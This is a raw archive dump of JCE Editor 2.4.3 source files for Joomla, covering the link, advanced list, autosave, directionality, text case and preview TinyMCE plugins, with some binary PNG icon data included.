if(name){html+='';}});html+='';return html;},checkPrefix:function(n){var v=$(n).val();if(Validator.isEmail(v)&&!/^\s*mailto:/i.test(v)){$.Dialog.confirm(tinyMCEPopup.getLang('link_dlg.is_email','The URL you entered seems to be an email address, do you want to add the required mailto: prefix?'),function(state){if(state){$(n).val('mailto:'+v);} LinkDialog.insert();});}else if(/^\s*www./i.test(v)){$.Dialog.confirm(tinyMCEPopup.getLang('link_dlg.is_external','The URL you entered seems to be an external link, do you want to add the required http:// prefix?'),function(state){if(state){$(n).val('http://'+v);} LinkDialog.insert();});}else{this.insertAndClose();}},insert:function(){tinyMCEPopup.restoreSelection();var ed=tinyMCEPopup.editor,se=ed.selection;AutoValidator.validate(document);if($('#href').val()==''){$.Dialog.alert(ed.getLang('link_dlg.no_href','A URL is required. Please select a link or enter a URL'));$('#href').focus();return false;} if(se.isCollapsed()&&$('#text').not(':disabled').val()==''){$.Dialog.alert(ed.getLang('link_dlg.no_text','Please enter some text for the link'));$('#text').focus();return false;} return this.checkPrefix($('#href'));},insertAndClose:function(){tinyMCEPopup.restoreSelection();var ed=tinyMCEPopup.editor,se=ed.selection,n=se.getNode(),args={},el;var attribs=['href','title','target','id','style','class','rel','rev','charset','hreflang','dir','lang','tabindex','accesskey','type','data-mce-tmp'];tinymce.each(attribs,function(k){var v=$('#'+k).val();if(k=='href'){v=$.String.buildURI(v);} if(k=='class'){v=$('#classlist').val()||$('#classes').val()||'';} args[k]=v;});var txt=$('#text').val();if(se.isCollapsed()){ed.execCommand('mceInsertContent',false,''+txt+'',{skip_undo:1});el=ed.dom.get('__mce_tmp');ed.dom.setAttribs(el,args);}else{ed.execCommand('mceInsertLink',false,{'href':args.href,'data-mce-tmp':'1'});ed.dom.setAttrib(n,'style',ed.dom.getAttrib(n,'data-mce-style'));var elms=ed.dom.select('a[data-mce-tmp]');tinymce.each(elms,function(elm,i){ed.dom.setAttribs(elm,args);if(i>0&&args.id){ed.dom.setAttrib(elm,'id','');} if(txt){var s=elm.firstChild;while(s&&s.nodeType!==3){s=s.firstChild;} s.parentNode.replaceChild(document.createTextNode(txt),s);}});if(elms.length){el=elms[0];}} if(txt){ed.selection.select(el);ed.selection.collapse(0);} el=el||n;WFPopups.createPopup(el);tinyMCEPopup.close();},setClasses:function(v){$.Plugin.setClasses(v);},setTargetList:function(v){$('#target').val(v);},setClassList:function(v){$('#classlist').val(v);},insertLink:function(v){$('#href').val(tinyMCEPopup.editor.documentBaseURI.toRelative(v));},createEmail:function(){var ed=tinyMCEPopup.editor;var fields='
      '+''+'
      '+'
      '+''+'
      '+'
      '+''+'
      '+'
      '+''+'
      ';$.Dialog.dialog(ed.getLang('link_dlg.email','Create E-Mail Address'),fields,{width:300,height:250,buttons:[{text:ed.getLang('dlg.ok','Ok'),click:function(){var args=[],errors=0;$.each(['mailto','cc','bcc','subject'],function(i,s){var v=$('#email_'+s).val();if(v){v=v.replace(/\n\r/g,'');$.each(v.split(','),function(i,o){if(s!=='subject'){if(!Validator.isEmail(o)){$.Dialog.alert(s+ed.getLang('link_dlg.invalid_email',' is not a valid e-mail address!'));errors++;}}});args.push((s=='mailto')?v:s+'='+v);}});if(errors==0){if(args.length){$('#href').val('mailto:'+args.join('&').replace(/&/,'?'));}} $(this).dialog('destroy').remove();},icons:{primary:'ui-icon-check'}},{text:ed.getLang('dlg.cancel','Cancel'),click:function(){$(this).dialog('destroy').remove();},icons:{primary:'ui-icon-close'}}]});},openHelp:function(){$.Plugin.help('link');}};tinyMCEPopup.onInit.add(LinkDialog.init,LinkDialog);com_jce/editor/tiny_mce/plugins/link/tmpl/default.php000066600000001761150771500630017004 0ustar00
      render();?>
      com_jce/editor/tiny_mce/plugins/link/tmpl/advanced.php000066600000014076150771500630017130 0ustar00
      com_jce/editor/tiny_mce/plugins/link/tmpl/index.html000066600000000054150771500630016636 0ustar00com_jce/editor/tiny_mce/plugins/link/tmpl/link.php000066600000005522150771500630016314 0ustar00

       
      com_jce/editor/tiny_mce/plugins/link/classes/index.html000066600000000054150771500630017317 0ustar00com_jce/editor/tiny_mce/plugins/link/classes/link.php000066600000006336150771500630017001 0ustar00getLinks(); $this->getSearch('link'); } public function display() { parent::display(); $document = WFDocument::getInstance(); $settings = $this->getSettings(); $document->addScriptDeclaration('LinkDialog.settings=' . json_encode($settings) . ';'); $tabs = WFTabs::getInstance(array( 'base_path' => WF_EDITOR_PLUGIN )); // Add tabs $tabs->addTab('link', 1, array('plugin' => $this)); $tabs->addTab('advanced', $this->getParam('tabs_advanced', 1)); // get and display links $links = $this->getLinks(); $links->display(); // get and display search $search = $this->getSearch('link'); $search->display(); // Load Popups instance $popups = WFPopupsExtension::getInstance(array( 'text' => false, 'default' => $this->getParam('link.popups.default', '') )); $popups->display(); // add link stylesheet $document->addStyleSheet(array('link'), 'plugins'); // add link scripts last $document->addScript(array('link'), 'plugins'); } public function getLinks() { static $links; if (!isset($links)) { $links = WFLinkExtension::getInstance(); } return $links; } public function getSearch($type = 'link') { static $search; if (!isset($search)) { $search = array(); } if (empty($search[$type])) { $search[$type] = WFSearchExtension::getInstance($type); } return $search[$type]; } public function getSettings() { $profile = $this->getProfile(); $settings = array( 'file_browser' => $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins)), 'attributes' => array( 'target' => $this->getParam('attributes_target', 1), 'anchor' => $this->getParam('attributes_anchor', 1) ) ); return parent::getSettings($settings); } }com_jce/editor/tiny_mce/plugins/link/index.html000066600000000054150771500630015662 0ustar00com_jce/editor/tiny_mce/plugins/link/link.xml000066600000014025150771500630015347 0ustar00 WF_LINK_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_LINK_DESC link link links,popups,search com_jce/editor/tiny_mce/plugins/link/css/index.html000066600000000054150771500630016452 0ustar00com_jce/editor/tiny_mce/plugins/link/css/link.css000066600000002537150771500630016134 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .mceActionPanel{margin-top:7px;}.ui-tabs-panel{min-height:420px;}input[type="text"]{width:246px;}select{width:250px;}#href{width:330px;}#text,#title{width:98%;}#advanced_tab input[type="text"],#advanced_tab select{width:250px;}#anchorlist,#target{width:380px;}#link_tab fieldset{margin:10px 0;}#link-options{min-height:200px;}#link-browser{height:160px;overflow:auto;padding:5px;}#search-browser{padding:5px 0;position:relative;}input.disabled{border:1px solid #CCC;font-style:italic;}span.email{display:inline-block;vertical-align:middle;cursor:pointer;width:20px;height:20px;background:url(../img/icons.png) 0 0;border:1px solid #FFF;margin-left:1px;}span.email:hover{border:1px solid #0A246A;background-color:#B2BBD0;}span.email.disabled{border:1px solid white;-moz-opacity:.3;opacity:.3;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30);}span.email.disabled:hover{border:1px solid white;background-color:transparent;}div.tree ul li span.file{background-position:0 -180px;}#email_mailto,#email_subject,#email_cc,#email_bcc{width:200px;height:30px;}div.formElm{margin:2px 0;}div.formElm label{vertical-align:top;}div.formElm textarea{overflow:hidden;}com_jce/editor/tiny_mce/plugins/link/img/icons.png000066600000004141150771500630016263 0ustar00PNG  IHDRd(IDATx PTǝŇubI&c'Bl hDCl-K1&!Q(Nh`M-+ * e%_<];˝ܻtpg-Ώ{w{ܐH %} **G/6l+1..䔔c6cx,۰i`kO.ݸ!d1mV\h|&(,%wmV|-""zc5"-/[}lö֭1}蠘4Hrz>'c_~]=hSqЪ<2+ſ>E;[7J"6l+z##hhkCɽ{B[PVwmVUpp\yw͸)0xd{~,_8 ?EnAۋAYy}IџIsœln q^;ð -4vu`nM-۰8+3gWskΗ h&6;reyYCDž֡!K |&x !x!P;-QM\i::pz#۳'|ȼAOr' q۰! Qrn.srpI%\vM@DP(ºP@ n[[[%EOHY`````@y풸LxmG&<ڑ"_EmTT,?R!;;.?\Mw'nagPoWef1- \z{ $n_?SR3wz;/TNP@__5e4Jnܹ-T{,$d,gWMM Ο?nO>RSRpdDЫ7ߌz{{_UUR noQ~)//hӳg1@Se(/m,p…8utdôϡlGS''hggXϺHLLĤ<҉'oi#|?^Cs$WOn!5`V&Z>D5G[1cιvD](;Š\ ۍ $)9)ZbNڟY7תQ(G3[U`$]).ͺ:䗗KT DKIg*4tU ϥ{yE2E%j S75 )-[vZ++rBS(o7z+*>yii LoYY P7@vUVri&zZLxi hrT( 6R=?({:`籁v!tJjNfbȵ}J;@qM-S0!D]ڌntH-SlvK?6qWC|zwҵ(Ҵu] c O.j@v{Ŷ /@=xyeW:%H9Vd ^aX+MSkv%l‚CpMKB)V3b2wVS_2[` ^</uXK!hXruz#V(cB@r'^&ߡkvu]  Y-% z\-1Jk9g`\:)aN)+9MmV\AGju-*iVRR*J7yׇ0.\|"99g008887Oc$@kq#|d抺Nc^J& TV\\com_jce/editor/tiny_mce/plugins/link/editor_plugin.js000066600000003377150771500630017102 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each,extend=tinymce.extend,JSON=tinymce.util.JSON;var Node=tinymce.html.Node;tinymce.create('tinymce.plugins.LinkPlugin',{init:function(ed,url){this.editor=ed;this.url=url;var self=this;function isLink(n){if(!n){return false;} n=ed.dom.getParent(n,'A');return n&&isAnchor(n)===false;} function isAnchor(n){return ed.dom.hasClass(n,'mceItemAnchor');} ed.addCommand('mceLink',function(){var se=ed.selection,n=se.getNode();if(n.nodeName=='A'&&!isAnchor(n)){se.select(n);} ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=link',width:500+ed.getLang('link.delta_width',0),height:515+ed.getLang('link.delta_height',0),inline:1,popup_css:false},{plugin_url:url});});ed.addButton('link',{title:'link.desc',cmd:'mceLink'});ed.addShortcut('ctrl+k','link.desc','mceLink');ed.onInit.add(function(){if(ed&&ed.plugins.contextmenu){ed.plugins.contextmenu.onContextMenu.add(function(th,m,e){m.addSeparator();m.add({title:'link.desc',icon:'link',cmd:'mceLink',ui:true});if((e.nodeName=='A'&&!ed.dom.getAttrib(e,'name'))){m.add({title:'advanced.unlink_desc',icon:'unlink',cmd:'UnLink'});}});}});ed.onNodeChange.add(function(ed,cm,n,co){cm.setActive('link',isLink(n));cm.setDisabled('link',isAnchor(n));});},getInfo:function(){return{longname:'Link',author:'Moxiecode Systems AB / Ryan Demmer',authorurl:'http://tinymce.moxiecode.com / http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};}});tinymce.PluginManager.add('link',tinymce.plugins.LinkPlugin);})();com_jce/editor/tiny_mce/plugins/link/link.php000066600000001150150771500630015331 0ustar00execute(); com_jce/editor/tiny_mce/plugins/advlist/classes/index.html000066600000000054150771500630020030 0ustar00com_jce/editor/tiny_mce/plugins/advlist/classes/config.php000066600000002767150771500630020026 0ustar00getParam('lists.number_styles'); if (empty($number) || (count($number) === 1 && array_shift($number) === 'default')) { return false; } return $number; } private static function getBulletList() { $wf = WFEditor::getInstance(); $bullet = (array) $wf->getParam('lists.bullet_styles'); if (empty($bullet) || (count($bullet) === 1 && array_shift($bullet) === 'default')) { return false; } return $bullet; } } ?> com_jce/editor/tiny_mce/plugins/advlist/index.html000066600000000054150771500630016373 0ustar00com_jce/editor/tiny_mce/plugins/advlist/editor_plugin.js000066600000016226150771500630017610 0ustar00/** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { var each = tinymce.each, undef; tinymce.create('tinymce.plugins.AdvListPlugin', { init: function(ed, url) { var t = this; t.editor = ed; function buildFormats(str) { var formats = []; each(str.split(/,/), function(type) { var title = type.replace(/-/g, '_'); if (type === 'default') { title = 'def'; } formats.push({ title: 'advlist.' + title, styles: { listStyleType: type === 'default' ? '' : type } }); }); return formats; } // Setup number formats from config or default var numlist = ed.getParam("advlist_number_styles", "default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman"); if (numlist) { t.numlist = buildFormats(numlist); } var bullist = ed.getParam("advlist_bullet_styles", "default,circle,disc,square"); if (bullist) { t.bullist = buildFormats(bullist); } if (tinymce.isIE && /MSIE [2-7]/.test(navigator.userAgent)) { t.isIE7 = true; } }, createControl: function(name, cm) { var t = this, btn, format, editor = t.editor; if (name == 'numlist' || name == 'bullist') { if (t[name] && t[name][0].title === 'advlist.def') { format = t[name][0]; } function hasFormat(node, format) { var state = true; each(format.styles, function(value, name) { // Format doesn't match if (editor.dom.getStyle(node, name) != value) { state = false; return false; } }); return state; } function applyListFormat() { var list, dom = editor.dom, sel = editor.selection; // Check for existing list element list = dom.getParent(sel.getNode(), 'ol,ul'); // Switch/add list type if needed if (!list || list.nodeName == (name == 'bullist' ? 'OL' : 'UL') || !format || hasFormat(list, format)) { editor.execCommand(name == 'bullist' ? 'InsertUnorderedList' : 'InsertOrderedList'); } // Append styles to new list element if (format) { list = dom.getParent(sel.getNode(), 'ol,ul'); if (list) { dom.setStyles(list, format.styles); list.removeAttribute('data-mce-style'); } } editor.focus(); } // disabled if (!t[name]) { btn = cm.createButton(name, { title: 'advanced.' + name + '_desc', 'class': 'mce_' + name, onclick: function() { applyListFormat(); } }); return btn; } btn = cm.createSplitButton(name, { title: 'advanced.' + name + '_desc', 'class': 'mce_' + name, onclick: function() { applyListFormat(); } }); btn.onRenderMenu.add(function(btn, menu) { menu.onHideMenu.add(function() { if (t.bookmark) { editor.selection.moveToBookmark(t.bookmark); t.bookmark = 0; } }); menu.onShowMenu.add(function() { var dom = editor.dom, list = dom.getParent(editor.selection.getNode(), 'ol,ul'), fmtList; if (list || format) { fmtList = t[name]; // Unselect existing items each(menu.items, function(item) { var state = true; item.setSelected(0); if (list && !item.isDisabled()) { each(fmtList, function(fmt) { if (fmt.id == item.id) { if (!hasFormat(list, fmt)) { state = false; return false; } } }); if (state) item.setSelected(1); } }); // Select the current format if (!list) menu.items[format.id].setSelected(1); } editor.focus(); // IE looses it's selection so store it away and restore it later if (tinymce.isIE) { t.bookmark = editor.selection.getBookmark(1); } }); menu.add({id: editor.dom.uniqueId(), title: 'advlist.types', 'class': 'mceMenuItemTitle', titleItem: true}).setDisabled(1); each(t[name], function(item) { // IE<8 doesn't support lower-greek, skip it if (t.isIE7 && item.styles.listStyleType == 'lower-greek') return; item.id = editor.dom.uniqueId(); menu.add({id: item.id, title: item.title, onclick: function() { format = item; applyListFormat(); }}); }); }); return btn; } }, getInfo: function() { return { longname: 'Advanced lists', author: 'Moxiecode Systems AB', authorurl: 'http://tinymce.moxiecode.com', infourl: 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist', version: tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('advlist', tinymce.plugins.AdvListPlugin); })();com_jce/editor/tiny_mce/plugins/autosave/index.html000066600000000054150771500630016554 0ustar00com_jce/editor/tiny_mce/plugins/autosave/editor_plugin.js000066600000011471150771500630017766 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(tinymce){var PLUGIN_NAME='autosave',RESTORE_DRAFT='autosave',TRUE=true,undefined,unloadHandlerAdded,Dispatcher=tinymce.util.Dispatcher;tinymce.create('tinymce.plugins.AutoSave',{init:function(ed,url){var self=this,settings=ed.settings;self.editor=ed;function parseTime(time){var multipels={s:1000,m:60000};time=/^(\d+)([ms]?)$/.exec(''+time);return(time[2]?multipels[time[2]]:1)*parseInt(time);};tinymce.each({ask_before_unload:false,interval:'30s',retention:'20m',minlength:50},function(value,key){key=PLUGIN_NAME+'_'+key;if(settings[key]===undefined) settings[key]=value;});settings.autosave_interval=parseTime(settings.autosave_interval);settings.autosave_retention=parseTime(settings.autosave_retention);ed.addButton(RESTORE_DRAFT,{title:PLUGIN_NAME+".restore_content",onclick:function(){if(ed.getContent({draft:true}).replace(/\s| |<\/?p[^>]*>|]*>/gi,"").length>0){ed.windowManager.confirm(PLUGIN_NAME+".warning_message",function(ok){if(ok) self.restoreDraft();});}else self.restoreDraft();}});ed.onNodeChange.add(function(){var controlManager=ed.controlManager;if(controlManager.get(RESTORE_DRAFT)) controlManager.setDisabled(RESTORE_DRAFT,!self.hasDraft());});ed.onInit.add(function(){if(ed.controlManager.get(RESTORE_DRAFT)){self.setupStorage(ed);setInterval(function(){self.storeDraft();ed.nodeChanged();},settings.autosave_interval);}});self.onStoreDraft=new Dispatcher(self);self.onRestoreDraft=new Dispatcher(self);self.onRemoveDraft=new Dispatcher(self);if(!unloadHandlerAdded){window.onbeforeunload=tinymce.plugins.AutoSave._beforeUnloadHandler;unloadHandlerAdded=TRUE;}},getInfo:function(){return{longname:'Auto save',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave',version:tinymce.majorVersion+"."+tinymce.minorVersion};},getExpDate:function(){return new Date(new Date().getTime()+this.editor.settings.autosave_retention).toUTCString();},setupStorage:function(ed){var self=this,testKey=PLUGIN_NAME+'_test',testVal="OK";self.key=PLUGIN_NAME+ed.id;tinymce.each([function(){if(localStorage){localStorage.setItem(testKey,testVal);if(localStorage.getItem(testKey)===testVal){localStorage.removeItem(testKey);return localStorage;}}},function(){if(sessionStorage){sessionStorage.setItem(testKey,testVal);if(sessionStorage.getItem(testKey)===testVal){sessionStorage.removeItem(testKey);return sessionStorage;}}},function(){if(tinymce.isIE){ed.getElement().style.behavior="url('#default#userData')";return{autoExpires:TRUE,setItem:function(key,value){var userDataElement=ed.getElement();userDataElement.setAttribute(key,value);userDataElement.expires=self.getExpDate();try{userDataElement.save("TinyMCE");}catch(e){}},getItem:function(key){var userDataElement=ed.getElement();try{userDataElement.load("TinyMCE");return userDataElement.getAttribute(key);}catch(e){return null;}},removeItem:function(key){ed.getElement().removeAttribute(key);}};}},],function(setup){try{self.storage=setup();if(self.storage) return false;}catch(e){}});},storeDraft:function(){var self=this,storage=self.storage,editor=self.editor,expires,content;if(storage){if(!storage.getItem(self.key)&&!editor.isDirty()) return;content=editor.getContent({draft:true});if(content.length>editor.settings.autosave_minlength){expires=self.getExpDate();if(!self.storage.autoExpires) self.storage.setItem(self.key+"_expires",expires);self.storage.setItem(self.key,content);self.onStoreDraft.dispatch(self,{expires:expires,content:content});}}},restoreDraft:function(){var self=this,storage=self.storage,content;if(storage){content=storage.getItem(self.key);if(content){self.editor.setContent(content);self.onRestoreDraft.dispatch(self,{content:content});}}},hasDraft:function(){var self=this,storage=self.storage,expDate,exists;if(storage){exists=!!storage.getItem(self.key);if(exists){if(!self.storage.autoExpires){expDate=new Date(storage.getItem(self.key+"_expires"));if(new Date().getTime() WF_AUTOSAVE_TITLE 2.4.3 11 September 2014 Moxiecode / Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_AUTOSAVE_DESC autosave com_jce/editor/tiny_mce/plugins/directionality/directionality.xml000066600000001310150771500630021514 0ustar00 WF_DIRECTIONALITY_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_DIRECTIONALITY_DESC ltr,rtl com_jce/editor/tiny_mce/plugins/directionality/index.html000066600000000054150771500630017750 0ustar00com_jce/editor/tiny_mce/plugins/directionality/editor_plugin.js000066600000002702150771500630021157 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){tinymce.create("tinymce.plugins.Directionality",{init:function(b,c){var d=this;d.editor=b;function a(e){var h=b.dom,g,f=b.selection.getSelectedBlocks();if(f.length){g=h.getAttrib(f[0],"dir");tinymce.each(f,function(i){if(!h.getParent(i.parentNode,"*[dir='"+e+"']",h.getRoot())){if(g!=e){h.setAttrib(i,"dir",e)}else{h.setAttrib(i,"dir",null)}}});b.nodeChanged()}}b.addCommand("mceDirectionLTR",function(){a("ltr")});b.addCommand("mceDirectionRTL",function(){a("rtl")});b.addButton("ltr",{title:"directionality.ltr_desc",cmd:"mceDirectionLTR"});b.addButton("rtl",{title:"directionality.rtl_desc",cmd:"mceDirectionRTL"});b.onNodeChange.add(d._nodeChange,d)},getInfo:function(){return{longname:"Directionality",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var d=b.dom,c;e=d.getParent(e,d.isBlock);if(!e){a.setDisabled("ltr",1);a.setDisabled("rtl",1);return}c=d.getAttrib(e,"dir");a.setActive("ltr",c=="ltr");a.setDisabled("ltr",0);a.setActive("rtl",c=="rtl");a.setDisabled("rtl",0)}});tinymce.PluginManager.add("directionality",tinymce.plugins.Directionality)})();com_jce/editor/tiny_mce/plugins/textcase/textcase.xml000066600000001253150771500630017114 0ustar00 WF_TEXTCASE_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_TEXTCASE_DESC textcase com_jce/editor/tiny_mce/plugins/textcase/index.html000066600000000054150771500630016545 0ustar00com_jce/editor/tiny_mce/plugins/textcase/img/sentencecase.png000066600000000572150771500630020477 0ustar00PNG  IHDR sBIT|d pHYs  ~tEXtSoftwareAdobe FireworksONIDAT81JAoƤA+o`"E X!7R< ,-D@, %f 0{og~ )%MjԶ6ʏUs|^]`3W(e툫7CO!pxp_X+6Y5Ctp\,)KeuaM$c2~7_RJYF1oıFe%(;RJYQhcr5RJoU uE+&IENDB`com_jce/editor/tiny_mce/plugins/textcase/img/index.html000066600000000054150771500630017321 0ustar00com_jce/editor/tiny_mce/plugins/textcase/img/uppercase.png000066600000000773150771500630020031 0ustar00PNG  IHDR sBIT|d pHYs  ~tEXtSoftwareAdobe FireworksONyIDAT81hTA\ΐ`q"1BbaZA8,RZ "iM#֢Ebmm%j)F&b,5X=\&. 3̴XtC.~jU|E,ޔ>].XS`o.xؖ,~C8X| |SU03df o3qf Uo#'4v'@Dq("nsG߯c9{ٜ~xfU8;%eױ'EQgl_>징gp-.h6LP5%ES=.m0":ZbsX\fv׿?ӐКIENDB`com_jce/editor/tiny_mce/plugins/textcase/img/lowercase.png000066600000000766150771500630020030 0ustar00PNG  IHDR sBIT|d pHYs  ~tEXtSoftwareAdobe FireworksONtIDAT8ԿkAץiq ] uQZtPptM\AA䤢t`4t*Zr|%`5 }9xsR U(VKJ(vu x0xPd}lG'{ ʟvxWp*62U\§se WF_PREVIEW_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_PREVIEW_DESC preview com_jce/editor/tiny_mce/plugins/preview/classes/index.html000066600000000054150771500630020043 0ustar00com_jce/editor/tiny_mce/plugins/preview/classes/preview.php000066600000012230150771500630020237 0ustar00setRequest(array($this, 'showPreview')); $this->execute(); } /** * Display Preview content * @return void */ public function showPreview() { $db = JFactory::getDBO(); $user = JFactory::getUser(); $dispatcher = JDispatcher::getInstance(); $language = JFactory::getLanguage(); // reset document type $document = &JFactory::getDocument(); $document->setType('html'); // required by module loadposition jimport('joomla.application.module.helper'); // load paramter class jimport('joomla.html.parameter'); wfimport('admin.helpers.extension'); // Get variables $component_id = JRequest::getInt('component_id'); // get post data $data = JRequest::getVar('data', '', 'POST', 'STRING', JREQUEST_ALLOWRAW); // cleanup data $data = preg_replace(array('#]+)>#i', '#<(head|title|meta)([^>]*)>([\w\W]+)<\/1>#i', '#<\/?(html|body)([^>]*)>#i'), '', rawurldecode($data)); $component = WFExtensionHelper::getComponent($component_id); // create params registry object $params = new JRegistry(); // create empty params string if (!isset($component->params)) { $component->params = ''; } // process attribs (com_content etc.) if ($component->attribs) { $params->loadString($component->attribs); } else { if (class_exists('JParameter')) { $params = new JParameter($component->params); } else { $params->loadString($component->params); } } $article = JTable::getInstance('content'); $article->id = 0; $article->created_by = $user->get('id'); $article->parameters = new JRegistry(); $article->text = $data; $limitstart = 0; JPluginHelper::importPlugin('content'); require_once(JPATH_SITE . '/components/com_content/helpers/route.php'); // set error reporting to error only error_reporting(E_ERROR); $dispatcher->trigger('onPrepareContent', array(& $article, & $params, $limitstart)); $this->processURLS($article); return $article->text; } /** * Convert URLs * @param object $article Article object * @return void */ private function processURLS(&$article) { $base = JURI::root(true) . '/'; $buffer = $article->text; $protocols = '[a-zA-Z0-9]+:'; //To check for all unknown protocals (a protocol must contain at least one alpahnumeric fillowed by : $regex = '#(src|href|poster)="(?!/|' . $protocols . '|\#|\')([^"]*)"#m'; $buffer = preg_replace($regex, "$1=\"$base\$2\"", $buffer); $regex = '#(onclick="window.open\(\')(?!/|' . $protocols . '|\#)([^/]+[^\']*?\')#m'; $buffer = preg_replace($regex, '$1' . $base . '$2', $buffer); // ONMOUSEOVER / ONMOUSEOUT $regex = '#(onmouseover|onmouseout)="this.src=([\']+)(?!/|' . $protocols . '|\#|\')([^"]+)"#m'; $buffer = preg_replace($regex, '$1="this.src=$2' . $base . '$3$4"', $buffer); // Background image $regex = '#style\s*=\s*[\'\"](.*):\s*url\s*\([\'\"]?(?!/|' . $protocols . '|\#)([^\)\'\"]+)[\'\"]?\)#m'; $buffer = preg_replace($regex, 'style="$1: url(\'' . $base . '$2$3\')', $buffer); // OBJECT -- fix it only inside the tag $regex = '#(]\s*value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m'; $buffer = preg_replace($regex, '$1name="$2" value="' . $base . '$3"', $buffer); // OBJECT -- fix it only inside the tag $regex = '#(]*)value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"\s*name\s*=\s*"(movie|src|url)"#m'; $buffer = preg_replace($regex, 'text = $buffer; } }com_jce/editor/tiny_mce/plugins/preview/index.html000066600000000054150771500630016406 0ustar00com_jce/editor/tiny_mce/plugins/preview/css/preview.css000066600000000606150771500630017377 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ html{height:100%;}body{background:#FFF;margin:5px;color:#000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:10px;height:100%;min-width:99%;width:auto;overflow-y:auto;}com_jce/editor/tiny_mce/plugins/preview/css/index.html000066600000000054150771500630017176 0ustar00com_jce/editor/tiny_mce/plugins/preview/preview.php000066600000001135150771500630016604 0ustar00com_jce/editor/tiny_mce/plugins/preview/editor_plugin.js000066600000014123150771500630017615 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){var each=tinymce.each;tinymce.create('tinymce.plugins.Preview',{init:function(ed,url){var self=this,DOM=tinymce.DOM;this.editor=ed,this.url=url;this.active=[];ed.addCommand('mcePreview',function(){self._togglePreview();});ed.onBeforeExecCommand.add(function(ed,cmd,ui,v,o){if(cmd=='mcePrint'){if(self.getState()){o.terminate=true;var preview=DOM.get(ed.id+'_preview_iframe');if(preview){preview.contentWindow.print();}}}});ed.onInit.add(function(){var s=ed.getParam('preview_state',false);if(typeof s!='undefined'){self.setState(!s);self._togglePreview();} if(ed.onFullScreen){ed.onFullScreen.add(function(editor,state){if(!state){self.setState(!editor.settings.preview_state);self._togglePreview();}});}});ed.onSetContent.add(function(ed,o){if(self.getState()){self._disable();}});ed.onExecCommand.add(function(ed,cmd){switch(cmd){case'mcePreview':window.setTimeout(function(){self._disable();},0);break;case'mceFullScreen':break;}});ed.onNodeChange.add(function(ed,cm,n){var s=self.getState();if(s){self._disable();}});ed.addButton('preview',{title:'preview.desc',cmd:'mcePreview'});ed.theme.onResize.add(function(){if(self.getState()){self.resize();}});},getState:function(){return this.editor.getParam('preview_state',false);},setState:function(s){this.editor.settings.preview_state=s;},getTop:function(){var ed=this.editor,container=ed.getContentAreaContainer();return container.offsetTop+Math.round((container.offsetHeight-container.clientHeight)/2);},resize:function(w,h){var self=this,ed=this.editor,DOM=tinymce.DOM,ifr=DOM.get(ed.id+'_ifr');w=parseFloat(w)||parseFloat(DOM.getStyle(ifr,'width'));h=parseFloat(h)||parseFloat(DOM.getStyle(ifr,'height'));DOM.setStyles(DOM.get(ed.id+'_preview_iframe'),{'width':w,'height':h});},_disable:function(){var self=this;window.setTimeout(function(){self._toggleDisabled();},0);},_toggleDisabled:function(){var self=this,ed=this.editor,DOM=tinymce.DOM,cm=ed.controlManager;var state=this.getState();var 